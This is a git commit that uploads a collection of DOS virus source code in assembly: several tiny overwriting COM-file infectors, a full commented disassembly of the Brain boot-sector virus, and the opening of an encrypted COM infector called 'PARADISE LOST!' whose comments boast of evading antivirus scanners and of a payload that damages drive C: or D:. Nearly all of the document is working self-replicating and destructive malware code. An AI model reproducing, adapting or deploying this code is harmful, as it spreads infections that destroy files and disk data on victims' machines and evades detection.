Add files via upload
This commit is contained in:
parent
f76af55eb4
commit
b60161f008
|
@ -0,0 +1,13 @@
|
|||
Main: Mov Ah,4eh
|
||||
Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Mov Ah,3ch
|
||||
Mov Dx,9eh
|
||||
On2: Int 21h
|
||||
Mov Dl,Length
|
||||
FileSpec Db '*.*',0
|
||||
Mov Bh,40h
|
||||
Xchg Cx,Dx
|
||||
Xchg Ax,Bx
|
||||
Jmp On2
|
||||
Length Equ $-Main
|
|
@ -0,0 +1,12 @@
|
|||
Lea Dx,Fs
|
||||
Mov Ah,78
|
||||
Int 33
|
||||
Mov Dx,9eh
|
||||
Mov Ah,61
|
||||
o1: Int 33
|
||||
Xchg Ax,Bx
|
||||
Mov Dl,27
|
||||
FS Db '*.*',0
|
||||
Xchg Cx,Dx
|
||||
Mov Ah,64
|
||||
Jmp o1
|
|
@ -0,0 +1,13 @@
|
|||
Main: Lea Dx,FileSpec
|
||||
Mov Ah,4eh
|
||||
Int 21h
|
||||
Mov Dx,9eh
|
||||
Mov Ah,3ch
|
||||
Int 21h
|
||||
Lea Dx,Main
|
||||
Mov Bh,40h
|
||||
Mov Cl,Length
|
||||
Xchg Ax,Bx
|
||||
Int 21h
|
||||
FileSpec Db '*.*',0
|
||||
Length Equ $-Main
|
|
@ -0,0 +1,13 @@
|
|||
Main: Mov Ah,4eh
|
||||
On2: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Mov Ah,3ch
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Xchg Ax,Bx
|
||||
Lea Dx,Main
|
||||
Mov Cl,Length
|
||||
Int 21h
|
||||
FileSpec Db '*.*',0
|
||||
Length Equ $-Main
|
|
@ -0,0 +1,14 @@
|
|||
Main: Mov Ah,4eh
|
||||
On2: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Mov Ax,3d02h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Xchg Ax,Bx
|
||||
Lea Dx,Main
|
||||
Mov Cl,Length
|
||||
Int 21h
|
||||
On1: Ret
|
||||
FileSpec Db '*.*',0
|
||||
Length Equ $-Main
|
|
@ -0,0 +1,17 @@
|
|||
Main: Mov Ah,4eh
|
||||
On2: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
jc on1
|
||||
Mov Ah,3dh
|
||||
inc ax
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Xchg Ax,Bx
|
||||
Lea Dx,Main
|
||||
Mov Cl,Length
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
On1: Jmp On2
|
||||
FileSpec Db '*.COM',0
|
||||
Length Equ $-Main
|
|
@ -0,0 +1,20 @@
|
|||
Main:
|
||||
Mov Ah,4eh
|
||||
On1: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Jc Ende
|
||||
Mov Ax,3d01h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Lea Dx,Main
|
||||
Xchg Ax,Bx
|
||||
Mov Cl,Length
|
||||
Int 21h
|
||||
Mov Ah,3eh
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
Jmp On1
|
||||
FileSpec Db '*.com',0
|
||||
Ende: Ret
|
||||
Length Equ $-Main
|
|
@ -0,0 +1,19 @@
|
|||
Main: Mov Ah,4eh
|
||||
On2: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
jc on1
|
||||
Mov Ax,3d02h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov bh,40h
|
||||
Mov Cl,Length
|
||||
Lea Dx,Main
|
||||
Xchg Ax,Bx
|
||||
Int 21h
|
||||
Mov Ah,3eh
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
Jmp On2
|
||||
On1: Ret
|
||||
FileSpec Db '*.COM',0
|
||||
Length Equ $-Main
|
|
@ -0,0 +1,28 @@
|
|||
Main:
|
||||
Mov Ah,4eh
|
||||
On1: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Jc On2
|
||||
Mov Ax,3d02h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Lea Dx,Main
|
||||
Xchg Ax,Bx
|
||||
Mov Cl,Ah
|
||||
Int 21h
|
||||
Mov Ah,3eh
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
Jmp On1
|
||||
FileSpec Db '*.com',0
|
||||
Db 'Trident'
|
||||
On2: Mov Ah,2ch
|
||||
Int 21h
|
||||
Cmp Dl,10
|
||||
Ja Ende
|
||||
Mov Al,2
|
||||
Xor Dx,Dx
|
||||
Int 25h
|
||||
Ende: Ret
|
||||
Length Equ $-Main
|
|
@ -0,0 +1,20 @@
|
|||
;
|
||||
; Mini-25
|
||||
;
|
||||
; Overwrites the first file in a directory
|
||||
|
||||
|
||||
FNAM Equ 09eh
|
||||
|
||||
Db '*.*',0
|
||||
Main: Mov Ah,4eh
|
||||
Mov Dx,Cx
|
||||
Int 21h
|
||||
Mov Ah,3ch
|
||||
Lea Dx,FNAM
|
||||
On2: Int 21h
|
||||
Mov Bh,40h
|
||||
Xchg Cx,Dx
|
||||
Xchg Ax,Bx
|
||||
Jmp On2
|
||||
Length Equ $-Main
|
|
@ -0,0 +1,20 @@
|
|||
;
|
||||
; Mini-25
|
||||
;
|
||||
; Overwrites the first file in a directory
|
||||
|
||||
|
||||
FNAM Equ 09eh
|
||||
|
||||
Main: Mov Ah,4eh
|
||||
Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Mov Ah,3ch
|
||||
Lea Dx,FNAM
|
||||
On2: Int 21h
|
||||
FileSpec Db '*.*',0
|
||||
Mov Bh,40h
|
||||
Xchg Cx,Dx
|
||||
Xchg Ax,Bx
|
||||
Jmp On2
|
||||
Length Equ $-Main
|
|
@ -0,0 +1,26 @@
|
|||
;
|
||||
; Micro-31
|
||||
;
|
||||
; Infects as many files as there are handles aveable. It creates 158 byte
|
||||
; file containing a replicating copy of the virus. The effective program
|
||||
; length however is only 31 bytes. It can't be detected by Scan 99, TbScan
|
||||
; and Gobbler II.
|
||||
;
|
||||
|
||||
FNAM Equ 09eh
|
||||
|
||||
Main: Mov Ah,4eh
|
||||
Seek: Lea Dx,FileSpec
|
||||
Xor Cx,Cx
|
||||
Int 21h
|
||||
Do: Mov Ah,3ch
|
||||
Lea Dx,FNAM
|
||||
On2: Int 21h
|
||||
FileSpec Db '*.*',0
|
||||
Xchg Dx,Cx
|
||||
Mov Bh,40h
|
||||
Xchg Ax,Bx
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
Jmp Seek
|
||||
Length Equ $-Main
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,686 @@
|
|||
|
||||
; This is the ashar variant of the classic Pakistani Brain virus. It is large
|
||||
; by today's standards, although it was one of the first. It is a floppy only
|
||||
; boot sector infector.
|
||||
|
||||
brain segment byte public
|
||||
assume cs:brain, ds:brain
|
||||
; Disassembly done by Dark Angel of PHALCON/SKISM
|
||||
org 0
|
||||
|
||||
cli
|
||||
jmp entervirus
|
||||
idbytes db 34h, 12h
|
||||
firsthead db 0
|
||||
firstsector dw 2707h
|
||||
curhead db 0
|
||||
cursector dw 1
|
||||
db 0, 0, 0, 0
|
||||
db 'Welcome to the Dungeon '
|
||||
copyright db '(c) 1986 Brain'
|
||||
db 17h
|
||||
db '& Amjads (pvt) Ltd VIRUS_SHOE '
|
||||
db ' RECORD v9.0 Dedicated to th'
|
||||
db 'e dynamic memories of millions o'
|
||||
db 'f virus who are no longer with u'
|
||||
db 's today - Thanks GOODNESS!! '
|
||||
db ' BEWARE OF THE er..VIRUS : \th'
|
||||
db 'is program is catching prog'
|
||||
db 'ram follows after these messeges'
|
||||
db '..... $'
|
||||
db '#@%$'
|
||||
db '@!! '
|
||||
entervirus:
|
||||
mov ax,cs
|
||||
mov ds,ax ; ds = 0
|
||||
mov ss,ax ; set stack to after
|
||||
mov sp,0F000h ; virus
|
||||
sti
|
||||
mov al,ds:[7C00h+offset firsthead]
|
||||
mov ds:[7C00h+offset curhead],al
|
||||
mov cx,ds:[7C00h+offset firstsector]
|
||||
mov ds:[7C00h+offset cursector],cx
|
||||
call calcnext
|
||||
mov cx,5 ; read five sectors
|
||||
mov bx,7C00h+200h ; after end of virus
|
||||
|
||||
loadnext:
|
||||
call readdisk
|
||||
call calcnext
|
||||
add bx,200h
|
||||
loop loadnext
|
||||
|
||||
mov ax,word ptr ds:[413h] ; Base memory size in Kb
|
||||
sub ax,7 ; - 7 Kb
|
||||
mov word ptr ds:[413h],ax ; Insert as new value
|
||||
mov cl,6
|
||||
shl ax,cl ; Convert to paragraphs
|
||||
mov es,ax
|
||||
mov si,7C00h ; Copy from virus start
|
||||
mov di,0 ; to start of memory
|
||||
mov cx,1004h ; Copy 1004h bytes
|
||||
cld
|
||||
rep movsb
|
||||
push es
|
||||
mov ax,200h
|
||||
push ax
|
||||
retf ; return to old boot sector
|
||||
|
||||
readdisk:
|
||||
push cx
|
||||
push bx
|
||||
mov cx,4 ; Try 4 times
|
||||
|
||||
tryread:
|
||||
push cx
|
||||
mov dh,ds:[7C00h+offset curhead]
|
||||
mov dl,0 ; Read sector from default
|
||||
mov cx,ds:[7C00h+offset cursector]
|
||||
mov ax,201h ; Disk to memory at es:bx
|
||||
int 13h
|
||||
jnc readOK
|
||||
mov ah,0 ; Reset disk
|
||||
int 13h ; (force read track 0)
|
||||
pop cx
|
||||
loop tryread
|
||||
|
||||
int 18h ; ROM basic on failure
|
||||
readOK:
|
||||
pop cx
|
||||
pop bx
|
||||
pop cx
|
||||
retn
|
||||
|
||||
calcnext:
|
||||
mov al,byte ptr ds:[7C00h+offset cursector]
|
||||
inc al
|
||||
mov byte ptr ds:[7C00h+offset cursector],al
|
||||
cmp al,0Ah
|
||||
jne donecalc
|
||||
mov byte ptr ds:[7C00h+offset cursector],1
|
||||
mov al,ds:[7C00h+offset curhead]
|
||||
inc al
|
||||
mov ds:[7C00h+offset curhead],al
|
||||
cmp al,2
|
||||
jne donecalc
|
||||
mov byte ptr ds:[7C00h+offset curhead],0
|
||||
inc byte ptr ds:[7C00h+offset cursector+1]
|
||||
donecalc:
|
||||
retn
|
||||
|
||||
; the following is a collection of garbage bytes
|
||||
db 00h, 00h, 00h, 00h, 32h,0E3h
|
||||
db 23h, 4Dh, 59h,0F4h,0A1h, 82h
|
||||
db 0BCh,0C3h, 12h, 00h, 7Eh, 12h
|
||||
db 0CDh, 21h,0A2h, 3Ch, 5Fh
|
||||
a_data dw 050Ch
|
||||
; Second part of the virus begins here
|
||||
jmp short entersecondpart
|
||||
db '(c) 1986 Brain & Amjads (pvt) Ltd ',0
|
||||
readcounter db 4 ; keep track of # reads
|
||||
curdrive db 0
|
||||
int13flag db 0
|
||||
|
||||
entersecondpart:
|
||||
mov cs:readcounter,1Fh
|
||||
xor ax,ax
|
||||
mov ds,ax ; ds -> interrupt table
|
||||
mov ax,ds:[13h*4]
|
||||
mov ds:[6Dh*4],ax
|
||||
mov ax,ds:[13h*4+2]
|
||||
mov ds:[6Dh*4+2],ax
|
||||
mov ax,offset int13 ; 276h
|
||||
mov ds:[13h*4],ax
|
||||
mov ax,cs
|
||||
mov ds:[13h*4+2],ax
|
||||
mov cx,4 ; 4 tries
|
||||
xor ax,ax
|
||||
mov es,ax ; es -> interrupt table
|
||||
|
||||
tryreadbootsector:
|
||||
push cx
|
||||
mov dh,cs:firsthead
|
||||
mov dl,0
|
||||
mov cx,cs:firstsector
|
||||
mov ax,201h ; read from default disk
|
||||
mov bx,7C00h
|
||||
int 6Dh ; int 13h
|
||||
jnc readbootOK
|
||||
mov ah,0
|
||||
int 6Dh ; int 13h
|
||||
pop cx
|
||||
loop tryreadbootsector
|
||||
|
||||
int 18h ; ROM basic on failure
|
||||
readbootOK: ; return control to
|
||||
; original boot sector
|
||||
;* jmp far ptr 0000:7C00h
|
||||
db 0EAh, 00h, 7Ch, 00h, 00h
|
||||
nop ; MASM NOP!!!
|
||||
int13:
|
||||
sti
|
||||
cmp ah,2 ; if not read request,
|
||||
jne doint13 ; do not go further
|
||||
cmp dl,2 ; if after second floppy,
|
||||
ja doint13 ; do not go further
|
||||
cmp ch,0 ; if not reading boot sector,
|
||||
jne regularread ; go handle as usual
|
||||
cmp dh,0 ; if boot sector,
|
||||
je readboot ; do I<-/>/\|> stuff
|
||||
regularread:
|
||||
dec cs:readcounter ; Infect after 4 reads
|
||||
jnz doint13 ; If counter still OK, don't
|
||||
; do anything else
|
||||
jmp short readboot ; Otherwise, try to infect
|
||||
doint13:
|
||||
jmp exitint13h
|
||||
readboot:
|
||||
; FINISH THIS!
|
||||
mov cs:int13flag,0 ; clear flag
|
||||
mov cs:readcounter,4 ; reset counter
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
mov cs:curdrive,dl
|
||||
mov cx,4
|
||||
|
||||
tryreadbootblock:
|
||||
push cx
|
||||
mov ah,0 ; Reset disk
|
||||
int 6Dh
|
||||
jc errorreadingbootblock ; Try again
|
||||
mov dh,0
|
||||
mov cx,1
|
||||
mov bx,offset readbuffer ; buffer @ 6BEh
|
||||
push es
|
||||
mov ax,cs
|
||||
mov es,ax
|
||||
mov ax,201h
|
||||
int 6Dh ; Read boot sector
|
||||
pop es
|
||||
jnc continuestuff ; continue if no error
|
||||
errorreadingbootblock:
|
||||
pop cx
|
||||
loop tryreadbootblock
|
||||
|
||||
jmp short resetdisk ; too many failures
|
||||
nop
|
||||
continuestuff:
|
||||
pop cx ; get system id in boot block
|
||||
mov ax,word ptr cs:[offset readbuffer+4]
|
||||
cmp ax,1234h ; already infected?
|
||||
jne dodisk ; if not, infect it
|
||||
mov cs:int13flag,1 ; flag prev. infection
|
||||
jmp short noreset
|
||||
dodisk:
|
||||
push ds
|
||||
push es
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
push si
|
||||
call writevirus ; infect the disk
|
||||
jc failme ; exit on failure
|
||||
mov cs:int13flag,2 ; flag success
|
||||
call changeroot ; manipulate volume label
|
||||
failme:
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
jnc noreset ; don't reset on success
|
||||
resetdisk:
|
||||
mov ah,0 ; reset disk
|
||||
int 6Dh ; int 13h
|
||||
noreset:
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
cmp cx,1
|
||||
jne exitint13h
|
||||
cmp dh,0
|
||||
jne exitint13h
|
||||
cmp cs:int13flag,1 ; already infected?
|
||||
jne wasntinfected ; if wasn't, go elsewhere
|
||||
mov cx,word ptr cs:[offset readbuffer+7]
|
||||
mov dx,word ptr cs:[offset readbuffer+5]
|
||||
mov dl,cs:curdrive ; otherwise, read real
|
||||
jmp short exitint13h ; boot sector
|
||||
wasntinfected:
|
||||
cmp cs:int13flag,2 ; successful infection?
|
||||
jne exitint13h ; if not, just do call
|
||||
mov cx,cs:firstsector
|
||||
mov dh,cs:firsthead
|
||||
exitint13h:
|
||||
int 6Dh ; int 13h
|
||||
retf 2
|
||||
db 15 dup (0)
|
||||
|
||||
FATManip: ; returns al as error code
|
||||
jmp short delvedeeper
|
||||
nop
|
||||
FATManipreadcounter dw 3
|
||||
db ' (c) 1986 Brain & Amjads (pvt) Ltd'
|
||||
delvedeeper:
|
||||
call readFAT ; Get FAT ID byte
|
||||
mov ax,word ptr ds:[offset readbuffer]
|
||||
cmp ax,0FFFDh ; is it 360K disk?
|
||||
je is360Kdisk ; continue if so
|
||||
mov al,3 ; al=3 == not good disk
|
||||
stc ; flag error
|
||||
retn ; and exit
|
||||
is360Kdisk:
|
||||
mov cx,37h
|
||||
mov FATManipreadcounter,0 ; none found yet
|
||||
checknextsector:
|
||||
call FATentry12bit ; get entry in FAT
|
||||
cmp ax,0 ; unused?
|
||||
jne notunused
|
||||
inc FATManipreadcounter ; one more found unused
|
||||
cmp FATManipreadcounter,3 ; If need more,
|
||||
jne tryanother ; go there
|
||||
jmp short markembad ; found 3 consecutive
|
||||
nop ; empty sectors
|
||||
notunused:
|
||||
mov FATManipreadcounter,0 ; must start over
|
||||
tryanother:
|
||||
inc cx ; try next sector
|
||||
cmp cx,163h ; end of disk?
|
||||
jne checknextsector ; if not, continue
|
||||
mov al,1 ; al=1 == none empty
|
||||
stc ; Indicate error
|
||||
retn
|
||||
markembad:
|
||||
mov dl,3 ; 3 times
|
||||
markanotherbad:
|
||||
call markbad12bit
|
||||
dec cx
|
||||
dec dl
|
||||
jnz markanotherbad
|
||||
inc cx
|
||||
call calc1sttrack
|
||||
call writeFAT ; update FAT
|
||||
mov al,0 ; al=0 == ok
|
||||
clc ; indicate success
|
||||
retn
|
||||
|
||||
markbad12bit:
|
||||
push cx
|
||||
push dx
|
||||
mov si,offset readbuffer ; si -> buffer
|
||||
mov al,cl
|
||||
shr al,1
|
||||
jc low_12 ; low bits
|
||||
call clus2offset12bit
|
||||
mov ax,[bx+si] ; get FAT entry
|
||||
and ax,0F000h ; mark it bad
|
||||
or ax,0FF7h
|
||||
jmp short putitback ; and put it back
|
||||
nop
|
||||
low_12:
|
||||
call clus2offset12bit
|
||||
mov ax,[bx+si] ; get FAT entry
|
||||
and ax,0Fh ; mark it bad
|
||||
or ax,0FF70h
|
||||
putitback:
|
||||
mov [bx+si],ax ; replace FAT entry
|
||||
mov word ptr ds:[400h][bx+si],ax ; in two places
|
||||
pop dx
|
||||
pop cx
|
||||
retn
|
||||
|
||||
FATentry12bit:
|
||||
push cx
|
||||
mov si,offset readbuffer ; si->buffer
|
||||
mov al,cl
|
||||
shr al,1
|
||||
; Part 3 of the virus starts here
|
||||
jc want_high_12
|
||||
call clus2offset12bit
|
||||
mov ax,[bx+si]
|
||||
and ax,0FFFh
|
||||
jmp short exitFATentry12bit
|
||||
nop
|
||||
want_high_12:
|
||||
call clus2offset12bit ; xxxxxxxxxxxx0000
|
||||
mov ax,[bx+si] ; ^^^^^^^^^^^^wanted
|
||||
and ax,0FFF0h ; mask wanted bits
|
||||
mov cl,4 ; and move to correct
|
||||
shr ax,cl ; position
|
||||
exitFATentry12bit:
|
||||
pop cx
|
||||
retn
|
||||
|
||||
clus2offset12bit:
|
||||
push dx
|
||||
mov ax,3
|
||||
mul cx
|
||||
shr ax,1 ; ax = cx*1.5
|
||||
mov bx,ax
|
||||
pop dx
|
||||
retn
|
||||
|
||||
readFAT:
|
||||
mov ah,2 ; read
|
||||
call FAT_IO
|
||||
retn
|
||||
|
||||
writeFAT:
|
||||
mov ah,3 ; write
|
||||
call FAT_IO
|
||||
retn
|
||||
|
||||
FAT_IO:
|
||||
mov cx,4 ; try four times
|
||||
FAT_IOLoop:
|
||||
push cx
|
||||
push ax
|
||||
mov ah,0 ; reset disk
|
||||
int 6Dh ; int 13h
|
||||
pop ax
|
||||
jc tryFAT_IOagain
|
||||
mov bx,offset readbuffer
|
||||
mov al,4 ; 4 sectors
|
||||
mov dh,0 ; head 0
|
||||
mov dl,curdrive
|
||||
mov cx,2 ; sector 2
|
||||
push ax ; (FAT)
|
||||
int 6Dh ; int 13h
|
||||
pop ax
|
||||
jnc exitFAT_IO
|
||||
tryFAT_IOagain:
|
||||
pop cx
|
||||
loop FAT_IOLoop
|
||||
|
||||
pop ax
|
||||
pop ax
|
||||
mov al,2
|
||||
stc ; mark error
|
||||
retn
|
||||
exitFAT_IO:
|
||||
pop cx
|
||||
retn
|
||||
|
||||
calc1sttrack:
|
||||
push cx
|
||||
sub cx,2
|
||||
shl cx,1 ; 2 sectors/cluster
|
||||
add cx,0Ch ; start of data area
|
||||
mov ax,cx ; ax = sector
|
||||
mov cl,12h ; 4096
|
||||
div cl ; ax/4096 = al rem ah
|
||||
mov byte ptr firstsector+1,al
|
||||
mov firsthead,0
|
||||
inc ah
|
||||
cmp ah,9 ; past track 9?
|
||||
jbe notpasttrack9 ; nope, we are ok
|
||||
sub ah,9 ; otherwise, adjust
|
||||
mov firsthead,1
|
||||
notpasttrack9:
|
||||
mov byte ptr firstsector,ah
|
||||
pop cx
|
||||
retn
|
||||
|
||||
db 0, 0, 0, 0, 0, 0
|
||||
r_or_w_root db 3
|
||||
entrycount dw 35h
|
||||
|
||||
tempsave1 dw 303h
|
||||
tempsave2 dw 0EBEh
|
||||
tempsave3 dw 1
|
||||
tempsave4 dw 100h
|
||||
db 0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
|
||||
db 8Dh, 98h, 9Fh, 8Eh,0E0h
|
||||
db ' (c) ashar $'
|
||||
changeroot:
|
||||
call readroot ; read in root directory
|
||||
jc donotchangeroot
|
||||
push di
|
||||
call changevolume ; change volume label
|
||||
pop di
|
||||
jc donotchangeroot
|
||||
call writeroot ; write back new root dir
|
||||
donotchangeroot:
|
||||
retn
|
||||
; The following is just garbage bytes
|
||||
db 0BBh, 9Bh, 04h,0B9h, 0Bh
|
||||
db 0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
|
||||
db 0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
|
||||
db 0C6h, 06h
|
||||
|
||||
changevolume:
|
||||
mov entrycount,6Ch
|
||||
mov si,offset readbuffer+40h; 3nd dir entry
|
||||
mov tempsave1,dx
|
||||
mov ax,entrycount ; 6Ch
|
||||
shr ax,1
|
||||
mov tempsave3,ax ; 36h
|
||||
shr ax,1
|
||||
mov tempsave2,ax ; 1Bh
|
||||
xchg ax,cx
|
||||
and cl,43h ; cx = 3
|
||||
mov di,tempsave2
|
||||
add di,1E3h ; di = 01FE
|
||||
findlabel:
|
||||
mov al,[si]
|
||||
cmp al,0
|
||||
je dolabel ; no mo entries
|
||||
mov al,[si+0Bh] ; attribute byte
|
||||
and al,8 ; volume label?
|
||||
cmp al,8 ; yes?
|
||||
je dolabel ; then change it!
|
||||
add si,20h ; go to next directory entry
|
||||
dec entrycount
|
||||
jnz findlabel ; loop back
|
||||
stc ; Error!
|
||||
retn
|
||||
db 8Bh
|
||||
dolabel:
|
||||
mov bx,[di] ; offset a_data
|
||||
xor bx,tempsave3 ; bx = 53Ah
|
||||
mov tempsave3,si ; si->direntry
|
||||
cli
|
||||
mov ax,ss
|
||||
mov tempsave1,ax
|
||||
mov tempsave2,sp
|
||||
mov ax,cs
|
||||
mov ss,ax
|
||||
mov sp,tempsave3
|
||||
add sp,0Ch ;->reserved area
|
||||
mov cl,51h
|
||||
add dx,444Ch
|
||||
mov di,2555h
|
||||
mov cx,0C03h
|
||||
repe cmpsw
|
||||
mov ax,0B46h
|
||||
mov cx,3
|
||||
rol ax,cl ; ax = 5A30h
|
||||
mov tempsave3,ax
|
||||
mov cx,5
|
||||
mov dx,8
|
||||
sub tempsave3,5210h ; 820h
|
||||
push tempsave3 ; store attributes/reserved
|
||||
; I haven't commented the remainder of this procedure.
|
||||
; It basically changes the volume label to read "(c) Brain"
|
||||
|
||||
; Comment mode OFF
|
||||
|
||||
dowhatever:
|
||||
mov ah,[bx] ; 5a3h
|
||||
inc bx
|
||||
mov dl,ah
|
||||
shl dl,1
|
||||
jc dowhatever
|
||||
searchstuff:
|
||||
mov dl,[bx] ; dl=C2h
|
||||
inc bx ; bx=53Eh
|
||||
mov al,dl
|
||||
shl dl,1
|
||||
jc searchstuff
|
||||
add ax,1D1Dh
|
||||
push ax
|
||||
inc tempsave3
|
||||
db 73h, 01h ; jnc $+3
|
||||
db 0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
|
||||
xchg bp,ax
|
||||
add al,0A1h
|
||||
xchg bx,ax
|
||||
add al,8Eh
|
||||
sar bl,1
|
||||
add dh,[bp+si]
|
||||
clc
|
||||
ret
|
||||
;db 95h, 04h,0A1h, 93h, 04h, 8Eh
|
||||
;db 0D0h,0FBh, 02h, 32h,0F8h,0C3h
|
||||
|
||||
; Comment mode ON
|
||||
|
||||
readroot:
|
||||
mov r_or_w_root,2 ; set action code
|
||||
jmp short do_rw_root ; easier to do w/
|
||||
nop ; mov ah, 2
|
||||
writeroot:
|
||||
mov r_or_w_root,3
|
||||
jmp short do_rw_root ; this is somewhat useless
|
||||
nop
|
||||
do_rw_root:
|
||||
mov dh,0 ; head 0
|
||||
mov dl,curdrive
|
||||
mov cx,6 ; sector 6
|
||||
mov ah,r_or_w_root
|
||||
mov al,4 ; 4 sectors
|
||||
mov bx,offset readbuffer
|
||||
call doint13h
|
||||
jc exit_rw_root ; quit on error
|
||||
mov cx,1
|
||||
mov dh,1 ; head 1
|
||||
mov ah,r_or_w_root
|
||||
mov al,3
|
||||
add bx,800h
|
||||
call doint13h
|
||||
|
||||
exit_rw_root:
|
||||
retn
|
||||
|
||||
doint13h:
|
||||
mov tempsave1,ax
|
||||
mov tempsave2,bx
|
||||
mov tempsave3,cx
|
||||
mov tempsave4,dx
|
||||
mov cx,4
|
||||
|
||||
doint13hloop:
|
||||
push cx
|
||||
mov ah,0 ; Reset disk
|
||||
int 6Dh
|
||||
jc errordoingint13h
|
||||
mov ax,tempsave1
|
||||
mov bx,tempsave2
|
||||
mov cx,tempsave3
|
||||
mov dx,tempsave4
|
||||
int 6Dh ; int 13h
|
||||
jnc int13hsuccess
|
||||
errordoingint13h:
|
||||
pop cx
|
||||
loop doint13hloop
|
||||
|
||||
stc ; indicate error
|
||||
retn
|
||||
int13hsuccess:
|
||||
pop cx
|
||||
retn
|
||||
|
||||
db 0, 0, 0
|
||||
; Part 4 of the virus starts here
|
||||
tempstorecx dw 3
|
||||
readwritecurrentdata dw 301h
|
||||
|
||||
writevirus:
|
||||
call FATManip
|
||||
jc exitwritevirus
|
||||
mov cursector,1
|
||||
mov curhead,0
|
||||
mov bx,offset readbuffer
|
||||
call readcurrent
|
||||
mov bx,offset readbuffer
|
||||
mov ax,firstsector
|
||||
mov cursector,ax
|
||||
mov ah,firsthead
|
||||
mov curhead,ah
|
||||
call writecurrent
|
||||
call calcnextsector
|
||||
mov cx,5
|
||||
mov bx,200h
|
||||
writeanothersector:
|
||||
mov tempstorecx,cx
|
||||
call writecurrent
|
||||
call calcnextsector
|
||||
add bx,200h
|
||||
mov cx,tempstorecx
|
||||
loop writeanothersector
|
||||
|
||||
mov curhead,0
|
||||
mov cursector,1
|
||||
mov bx,0
|
||||
call writecurrent
|
||||
clc ; indicate success
|
||||
exitwritevirus:
|
||||
retn
|
||||
|
||||
|
||||
readcurrent:
|
||||
mov readwritecurrentdata,201h
|
||||
jmp short doreadwrite
|
||||
nop
|
||||
writecurrent:
|
||||
mov readwritecurrentdata,301h
|
||||
jmp short doreadwrite ; This is pointless.
|
||||
nop
|
||||
doreadwrite:
|
||||
push bx
|
||||
mov cx,4
|
||||
|
||||
tryreadwriteagain:
|
||||
push cx
|
||||
mov dh,curhead
|
||||
mov dl,curdrive
|
||||
mov cx,cursector
|
||||
mov ax,readwritecurrentdata ; read or write?
|
||||
int 6Dh ; int 13h
|
||||
jnc readwritesuccessful
|
||||
mov ah,0 ; reset disk
|
||||
int 6Dh ; int 13h
|
||||
pop cx
|
||||
loop tryreadwriteagain
|
||||
|
||||
pop bx
|
||||
pop bx
|
||||
stc ; Indicate error
|
||||
retn
|
||||
readwritesuccessful:
|
||||
pop cx
|
||||
pop bx
|
||||
retn
|
||||
|
||||
|
||||
calcnextsector:
|
||||
inc byte ptr cursector ; next sector
|
||||
cmp byte ptr cursector,0Ah
|
||||
jne donecalculate ; finished calculations
|
||||
mov byte ptr cursector,1 ; clear sector #
|
||||
inc curhead ; and go to next head
|
||||
cmp curhead,2 ; if not too large,
|
||||
jne donecalculate ; we are done
|
||||
mov curhead,0 ; otherwise clear head #
|
||||
inc byte ptr cursector+1 ; and advance cylinder
|
||||
donecalculate:
|
||||
retn
|
||||
|
||||
db 64h, 74h, 61h
|
||||
|
||||
; read buffer starts here
|
||||
; insert your favorite boot block below...
|
||||
readbuffer:
|
||||
brain ends
|
||||
end
|
|
@ -0,0 +1,242 @@
|
|||
; VirusName : PARADISE LOST!
|
||||
; Origin : Sweden
|
||||
; Author : The Unforgiven
|
||||
; Date : 20/12/93
|
||||
|
||||
; This is a "mutation", of Tormentor's .COM lession. I've modified
|
||||
; some stuffs, but since I liked the .EXE infector better, I didn't
|
||||
; cared too much about this one.
|
||||
|
||||
; Anyway, this is a non-resident current directory (yuck!), infector
|
||||
; of .COM programs. It've added a encryption routine, but it's nothing
|
||||
; really to scream hurray for.
|
||||
|
||||
; It's also a bit destructive, well, it's 5% chance at each run, that
|
||||
; one of drive c: or d: gets kinda phucked up. This routine was as
|
||||
; usual "stolen" from Nowhere Man of NuKE. I must admit I like it!
|
||||
|
||||
; Scan/MSAV/CPAV and F-prot can't find as usual find shits! I think
|
||||
; that ThunderByte AntiVirus heurtistic scanner found the infected
|
||||
; files as "probably/possible" infected, I really dunno, you try it
|
||||
; out by your self!
|
||||
|
||||
; "We do not live forever, but mind never leaves our souls." (Dark Image).
|
||||
|
||||
;=============================================================================
|
||||
; **** PARADISE LOST! ****
|
||||
;=============================================================================
|
||||
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
|
||||
Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus.
|
||||
|
||||
org 100
|
||||
|
||||
dummy_code: db 'M' ; Mark file as infected.
|
||||
db 3 DUP(90) ; This is to simulate a infected prog.
|
||||
; Not included in virus-code.
|
||||
|
||||
Virus_Start: call where_we_are ; Now we call the next bytes, just to
|
||||
|
||||
; F-prot founded the 'lession -1'virus here in the unencrypted area, but by
|
||||
; simple add the push si, and the extra pop, it compleatele screwed up, and
|
||||
; couldn't found it as nothing!, HA! Eat dust, looser!
